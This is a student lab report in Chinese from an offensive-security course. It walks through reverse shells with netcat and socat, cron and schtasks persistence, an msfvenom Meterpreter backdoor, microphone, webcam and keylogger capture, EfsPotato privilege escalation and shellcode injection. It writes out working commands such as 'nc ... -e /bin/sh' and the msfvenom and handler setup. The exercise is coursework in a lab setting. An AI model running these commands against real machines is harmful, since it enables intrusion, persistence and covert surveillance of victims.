1.实验内容
1.使用netcat获取主机操作Shell,使用cron程序计划并启动任务
2.使用socat工具攻击Windows主机,尝试获取主机Shell
3.使用MSF生成后门程序,利用ncat或socat传送到主机并尝试获取主机Shell
4.使用MSF生成的后门程序获取目标主机音频、摄像头、击键记录等信息
5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
2.实验过程
2.1使用netcat获取主机操作Shell,cron启动某项任务
(1)使用ncat获取win主机shell
在win电脑中下载ncat工具,https://gitee.com/wildlinux/NetSec/attach_files
https://eternallybored.org/misc/netcat/
下载完成后,需要将ncat和socat的安装位置添加到系统的环境变量Path中,这样方便在任何位置使用终端调用ncat和socat工具;
安装完成后,查看win电脑ip地址和kali虚拟机ip地址;


接着在win端使用命令nc -l-p 2327,以学号作为端口号,启动TCP监听读取,等待其他客户端连接到当前设备的2327端口;
在kali端使用命令nc 192.168.87.141 2327 -e /bin/sh连接到win;

(2)设置cron定时任务
为了使反弹连接自动执行,需在linux端设置cron任务;cron是linux系统的定时任务调度程序,能够定期执行指定的命令。
使用命令corntab -e

在其中添加cron定时任务;在最后一行末尾加上* * * * */bin/nc 192.168.87.141 2327 -e /bin/sh,意为每分钟执行一次,尝试连接到远程主机;

完成编辑后,保存并退出编辑器,并使用corntab -l查看设置的定时任务;

在win端尝试连接到kali,设置为每分钟运行一次,所以最长连接等待时间为一分钟,一分钟内就可以连接到kali;

2.2使用socat获取主机操作Shell, 任务计划启动
(1)使用socat获取主机操作shell
确保在win电脑上已经正确安装了socat工具,并将其添加到环境变量中;
在windows终端中,输入命令socat.exe tcp-listen:2327 exec:cmd.exe,pty,stderr,以学号为端口号启动监听;

在kali端使用命令socat -tcp:192.168.161.141:2327连接到win;
这一步一定要允许socat通过防火墙或者直接关闭防火墙;

(2)通过windows设置自动启动任务
在win中使用c语言编写程序,并将其编译为run.exe后放在E:路径下;运行该程序,可以自动打开网页网络与系统攻防(2323/2324)(北京电子科技学院)
打开计算器、打开记事本、在同级目录下创建log_file文件并记录时间、当前用用户名和计算机名称;

在kali获取的shell中;输入命令schtasks /create /sc minute /mo 1 /tn "AutoRun" /tr "E:\run.exe 创建自动运行任务AutoRun,每分钟运行一次E:\run.exe程序;
创建完成后,在windows中搜索“任务计划程序”,打开后即可看到最新创建的任务AutoRun;

2.3使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(1)使用MSF meterpreter生成可执行文件(后门),利用ncat传送到主机
在这里需要先使用命令sudo apt update、sudo apt install metasploit-framework更新 Metasploit 框架及其所有依赖项,确保它们与当前系统的 Ruby 版本兼容,其次前往微软官方下载页面:Microsoft Visual C++ Redistributable Latest Supported Downloads下载 vc_redist.x86.exe(32位版本)。绝大多数 msfvenom 生成的后门都是 32 位的,所以需要安装 32 位的组件包,即使在 64 位 Windows 上也需要。否则生成的后门程序将由于内存冲突无法在win中运行;下载并双击安装vc_redist.x86.exe
完成以上准备工作后,在windows端运行命令nc -l -p 2327>2327ywx_backdoor.exe监听等候传输;
使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327-f exe >2327ywx_backdoor.exe生成名为2327ywx_bakdoor.exe的后门程序;
创建后门程序完成后,使用ncat工具将后门文件传输到windows系统上;

传输完成后,在windows主机运行后门程序,在kali上通过Metasploit 启动监听,在kali终端输入指令msfconsole启动控制台;
使用 exploit/multi/handler 模块进行监听:use exploit/multi/handler
设置Payload和监听参数:
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.64.148
set LPORT 2327
这里设置LHOST和LPORT和生成后门程序时使用一样的ip和端口;
启动监听

2.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
在2.3的基础上,在meterpreter控制台中输入下列命令:
record_mic -d 10
screenshot
webcam_snap
keyscan_start
keyscan_dump
webcam_stream
record_mic -d 10:录制目标设备的麦克风音频,持续 10 秒(-d 参数指定录制时长)
screenshot:截取目标设备当前的屏幕画面,并保存到本地
webcam_snap:调用目标设备的摄像头拍摄一张照片,并保存到本地
keyscan_start:开始记录目标设备的键盘输入(键盘记录功能开启)
keyscan_dump:导出已记录的键盘输入内容(获取之前记录的按键信息)
webcam_stream:启动目标设备的摄像头并实时传输画面到本地,可实时查看实时视频
尝试提权
在控制台输入命令getuid、getsystem
执行结果 Server username: LAPTOP-050Q62EU\Amir 表示:当前 Meterpreter 是在目标主机(名为 LAPTOP-050Q62EU)的用户 Amir 权限下运行的。
执行结果 ...got system via technique 6 (Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)). 表示:
---- 权限提升成功(got system)。
---- 采用的技术是 “技术 6:命名管道模拟(EFSRPC 变种,也称为 EfsPotato)”。这是一种利用 Windows 系统漏洞(命名管道和 EFSRPC 服务的缺陷)来实现权限提升的方法,通过模拟系统身份来获取最高权限。

提权成功
2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
首先,使用msfvenom工具生成一个反向连接shellcode,这里针对linux平台,将其注入到实验一使用的程序pwn1,并将生成的文件保存为pwn2425;
向pwn1文件注入后门

启动MSF监听模块
启动监听

执行注入的后门程序pwn2425
在目标主机执行注入生成的后门程序,在kalika打开一个新的终端,需要使用命令chmod +x pwn2327为该文件授予执行的权限,然后使用命令./pwn2425运行该后门程序;
运行后门程序,之后返回控制台,输入exploit连接,此时获取到kali的反弹连接shell;

3.问题及解决方案
- 问题1:使用ncat命令nc 172.16.234.28 2327<2327ywx backdoor.exe传输生成的后门程序到win主机时,会出现接受到的文件和源文件大小不一致,文件量变大且无法运行的情况;
- 问题1解决方案:
原因分析:查询资料可知,最有可能的原因是windows的powershell的重定向 > 或其它把流当文本写入导致编码(通常变成 UTF-16/CRLF),从而文件变大且损坏。Windows 接收端把来自 nc 的字节流当文本(字符流)写入,导致字节被扩展/转换(例如每个字节后多出 00 → 文件近似变为两倍),最终 exe 损坏。
解决方法:在kali端使用命令nc -l -p 2327 < ./2327backdoor.exe进行监听并发送文件,在windows用cmd而不是powershell运行接收,nc 172.16.234.28 2327 > C:\Users\Amir\2327backdoor.exe;如果使用powershell,使用下面的命令按原始字节写入;
4.学习感悟、思考等
通过本次实验,我深切体会到 Windows 防火墙与设备安全防护的强大能力。在不关闭这些防护机制的情况下,实验中的大部分操作都无法顺利执行。这提醒我们,在日常使用设备时,务必保持系统安全保护的开启状态,切勿随意下载或安装未经授权和验证的程序,这是守护个人电脑安全的重要防线。
此外,实验中也注意到跨平台传输文件或文本时编码格式的重要性。不同系统间的编码差异可能导致文件内容错乱或损坏,因此在数据交互过程中必须注意格式转换,才能有效保证数据的完整性和可用性。
本次实验还借助 MSF(Metasploit Framework)工具实现了渗透后的控制。我初步掌握了其基本使用方法,并感受到这类专业工具的强大与高效——它将复杂的漏洞利用、会话维持和权限提升等过程封装为简洁的命令,显著降低了技术操作的门槛。这也让我体会到,现代渗透工具的高度集成化在带来便利的同时,也意味着安全防护必须跟上攻击手段的发展步伐。
在实践过程中,我也意识到自身在底层知识和基础命令掌握方面仍有不足。今后的学习中,我将更注重基础原理的理解与积累,持续提升自己的综合能力。
浙公网安备 33010602011771号